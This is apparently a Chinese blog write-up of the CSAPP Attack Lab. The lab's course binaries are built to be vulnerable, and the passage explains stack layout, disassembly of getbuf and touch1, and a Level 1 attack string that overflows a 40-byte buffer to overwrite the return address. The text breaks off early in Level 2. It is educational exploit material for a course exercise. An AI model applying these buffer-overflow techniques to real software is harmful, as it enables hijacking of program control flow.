CSAPP实验——AttackLab

本文详细介绍了CSAPP Attack Lab实验,涵盖代码注入攻击和Return-Oriented Programming(ROP)。通过一系列的Level,阐述了如何利用缓冲区溢出修改栈中的数据,实现代码注入和控制程序执行流,讲解了不同级别的攻击策略和实施步骤,加深了对堆栈、汇编代码和程序控制的理解。
摘要由CSDN通过智能技术生成

Attack Lab 缓冲区溢出攻击实验

这是CSAPP课程的第三个Lab。

实验准备

实验介绍

简介
本次实验涉及对两个具有不同安全漏洞的程序进行五次攻击,攻击方式分为两种 Code injection代码注入和 Reeturn-oriented programming(ROP)面向返回编程。
目的
1、深入理解当程序没有对缓冲区溢出做足够防范时,攻击者可以利用安全漏洞的方法。
2、更好地了解如何编写更安全的程序,以及编译器和操作系统提供一些帮助,以减少程序的易受攻击性。
3、深入了解x86-64机器代码的堆栈和参数传递机制。
4、深入了解x86-64指令的编码方式。
5、熟练使用gdb和objdump等调试工具。

实验说明

文件说明
ctarget:一个容易遭受code injection攻击的可执行程序。
rtarget:一个容易遭受return-oriented programming攻击的可执行程序。
cookie.txt:一个8位的十六进制码,用于验证身份的唯一标识符。
farm.c:目标“gadget farm”的源代码,用于产生return-oriented programming攻击。
hex2raw:一个生成攻击字符串的工具。

整个Lab的大致流程就是,输入一个字符串,然后利用stack的buffer overflow,去修改stack中的数据,进而改变程序的运行,达成我们的攻击目的。具体地,是要通过反汇编上述文件通过文件中test()函数去调用getbuf()函数这个入口,来完成对stack某些部分的覆盖,利用两种攻击程序的技术,让程序调用我们希望调用的touch函数。

X68-64寄存器和堆栈
X86-64有16个64位寄存器
1、 %rax 作为函数返回值使用。
2、 %rsp 栈指针寄存器,指向栈顶。
3、 %rdi%rsi%rdx%rcx%r8%r9 用作函数参数,依次对应第1参数,第2参数……
4、 %rbx%rbp%r12%r13%14%15 用作数据存储,遵循被调用者使用规则。
5、 %r10%r11 用作数据存储,遵循调用者使用规则。
辅助工具说明
hex2raw:要求输入是一个十六进制格式的字符串,用两个十六进制数字表示一个字节值,字节值之间以空白符(空格或新行)分隔,注意使用 小端法字节序。(将输入的十六进制字符转换为相应ASCII码)
./hex2raw <attack.txt> attackraw.txt

详细实验介绍和实验步骤可以查看WriteUp,强烈推荐实验前先看一下。

PART 1 : Code Injection Attacks

代码注入攻击:通过使缓冲区溢出,注入攻击代码。ctarget文件将执行test函数,实验·任务是在执行完getbuf函数后,程序不继续执行test函数,而是执行touch函数。

在前三个阶段,因为程序的设置方式使堆栈位置在每次运行时保持一致,因此堆栈上的数据可以作为可执行代码处理。这些特性使程序容易受到攻击,攻击字符串包含可执行代码的字节编码。
通过objdump -d ctarget > ctarget.txt反汇编得到相应的汇编程序,根据汇编程序来完成试验任务。

void test() 
{
   
    int val;
    val = getbuf();
    printf("NO explit. Getbuf returned 0x%x\n", val);
}

Level 1

使getbuf返回时,执行touch1而不是返回test

void touch1() 
{
   
    vlevel = 1;    /* Part of validation protocol */
    printf("Touch1!: You called touch1()\n");   
    validate(1);
    exit(0);
}

这一阶段不需要注入新的代码,只需要用攻击字符串覆盖getbuf的返回值,即使getbuf结尾处的ret指令将控制转移到touch1

  • getbuf汇编代码
00000000004017a8 <getbuf>:
  4017a8:	48 83 ec 28          	sub    $0x28,%rsp
  4017ac:	48 89 e7             	mov    %rsp,%rdi
  4017af:	e8 8c 02 00 00       	callq  401a40 <Gets>
  4017b4:	b8 01 00 00 00       	mov    $0x1,%eax
  4017b9:	48 83 c4 28          	add    $0x28,%rsp
  4017bd:	c3                   	retq   
  4017be:	90                   	nop
  4017bf:	90 
  • 从第一句指令sub $0x28,%rsp可以得出getbuf创建的缓冲区大小为0x28字节。
0000000004017c0 <touch1>:
  4017c0:	48 83 ec 08          	sub    $0x8,%rsp
  4017c4:	c7 05 0e 2d 20 00 01 	movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
  4017cb:	00 00 00 
  4017ce:	bf c5 30 40 00       	mov    $0x4030c5,%edi
  4017d3:	e8 e8 f4 ff ff       	callq  400cc0 <puts@plt>
  4017d8:	bf 01 00 00 00       	mov    $0x1,%edi
  4017dd:	e8 ab 04 00 00       	callq  401c8d <validate>
  4017e2:	bf 00 00 00 00       	mov    $0x0,%edi
  4017e7:	e8 54 f6 ff ff       	callq  400e40 <exit@plt>
  • touch1函数的起始地址为0x4017c0getbuf在栈中分配了40个字节的内存来存储输入数据。在执行ret指令后,从%rsp+40处获得返回地址,因此我们需要来利用缓冲区溢出覆盖掉其返回地址,就可以将返回地址修改为touch1的起始地址,即将输入的第40-47个字符写为touch1函数的起始地址。
  • 攻击字符串level1.txt
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
//以上字符是填充满整个缓冲区(40字节)从而溢出
c0 17 40 00 00 00 00 00
//用函数touch1的起始地址覆盖原先的返回地址
 这里注意小端法保存
  • 调用hex2raw生成攻击字符串,并攻击ctarget在这里插入图片描述
    在这里插入图片描述

Level 2

void touch2(unsigned val)
{
   
	vlevel = 2; /* Part of validation protocol */
	if (val == cookie) {
   
		printf("Touch2!: You called touch2(0x%.8x)\n", val);
	validate(2);
	 } 
	 else {
   
		printf("Misfire: You called touch2(0x%.8x)\n", val);
 		fail(2);
 	}
 	exit(0);
 }

使getbuf返回时,执行touch2而不是返回test,并且让touch2以为其接受的输入参数是cookie,即0x59b997fa

  • 汇编代码
00000000004017ec <touch2>:
  4017ec:	48 83 ec 08          	sub    $0x8,%rsp
  4017f0:	89 fa                	mov    %edi,%edx
  4017f2:	c7 05 e0 2c 20 00 02 	movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
  4017f9:	00 00 00 
  4017fc:	3b 3d e2 2c 20 00    	cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie&
评论 10
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值